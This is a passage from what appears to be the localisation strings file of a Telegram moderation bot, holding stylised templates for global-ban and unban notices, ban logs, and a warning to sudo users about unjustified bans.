ғʀᴏᴍ :</b> {1} [<code>{2}</code>]\\n<b>ᴜsᴇʀ :</b> {3}\\n<b>ᴜsᴇʀ ɪᴅ :</b> {4}\\n\\n<b>ʙᴀɴɴᴇᴅ ʙʏ :</b> {5}\\n<b>ᴄʜᴀᴛs :</b> </code>{6}</code>\"\ngban_7 : \"» {0} ɪs ɴᴏᴛ ɢʙᴀɴɴᴇᴅ ғʀᴏᴍ ᴛʜᴇ ʙᴏᴛ.\"\ngban_8 : \"» ʟɪғᴛɪɴɢ ɢʟᴏʙᴀʟ ʙᴀɴ ғʀᴏᴍ {0}.\\n\\n<b>ᴇxᴘᴇᴄᴛᴇᴅ ᴛɪᴍᴇ :</b> {1}\"\ngban_9 : \"» ʟɪғᴛᴇᴅ ɢʟᴏʙᴀʟ ʙᴀɴ ғʀᴏᴍ {0}.\\n\\nᴜɴʙᴀɴɴᴇᴅ ɪɴ {1} ᴄʜᴀᴛs.\"\ngban_10 : \"» ɴᴏ ᴏɴᴇ ɪs ɢʟᴏʙᴀʟʟʏ ʙᴀɴɴᴇᴅ ғʀᴏᴍ ᴛʜᴇ ʙᴏᴛ.\"\ngban_11 : \"» ғᴇᴛᴄʜɪɴɢ ɢʙᴀɴɴᴇᴅ ᴜsᴇʀs ʟɪsᴛ...\"\ngban_12 : \"🙂 <b>ɢʟᴏʙᴀʟʟʏ ʙᴀɴɴᴇᴅ ᴜsᴇʀs :</b>\\n\\n\"\ngban_log : \"乛🖇️ 𝙉𝙚𝙬 𝙂𝙡𝙤𝙗𝙖𝙡 𝘽𝙖𝙣 ~\\n°───────❅───────°\\n\\n❄️ 𝘎𝘣𝘢𝘯𝘯𝘦𝘥 𝘉𝘺 ~ {0} [ @{1} ] !\\n• ─────── •\\n☘️ 𝘉𝘢𝘯𝘯𝘦𝘥 𝘜𝘴𝘦𝘳 ~ {2} !\\n• ─────── •\\n🍂 𝘞𝘪𝘵𝘩 𝘙𝘦𝘢𝘴𝘰𝘯 ~ {3}\\n\\n•───────────────────•\"\ngban_warning : \"🖇️ {0} Is ɢʙᴀɴɴᴇᴅ..!!\\n\\n[⚠️] Iғ ʏᴏᴜ ɢɪᴠᴇ ɢʙᴀɴ ᴡɪᴛʜᴏᴜᴛ ᴀɴʏ ᴠᴀʟɪᴅ ʀᴇᴀsᴏɴ ʏᴏᴜ ᴡɪʟʟ ʙᴇ ʀᴇᴍᴏᴠᴇᴅ ғʀᴏᴍ sᴜᴅᴏ ᴜsᴇʀ. Sᴏ ʙᴇ ᴄᴀʀᴇғᴜʟʟ..!!\\n\\n 🍂 Rᴇɢᴀʀᴅs ~ @BRANDRD_BOT\"\nugban_log : \"乛🌿 𝙉𝙚𝙬 𝙐𝙣-𝙂𝙗𝙖𝙣𝙣𝙚𝙙 ~\\n°───────❅───────°\\n\\n🍂 𝘜𝘯-𝘎𝘣𝘢𝘯𝘯𝘦𝘥 𝘉𝘺 ~ {0} [ @{1} ] !\\n• ─────── •\\n⛓️ 𝘜𝘯-𝘎𝘉𝘢𝘯𝘯𝘦𝘥 𝘜𝘴𝘦𝘳 ~ {2} !\\n• ─────── •\\n☘️ 𝘞𝘪𝘵𝘩 𝘙𝘦𝘢𝘴𝘰𝘯 ~ {3}\\n\\n•───────────────────•\"\n"
  }
]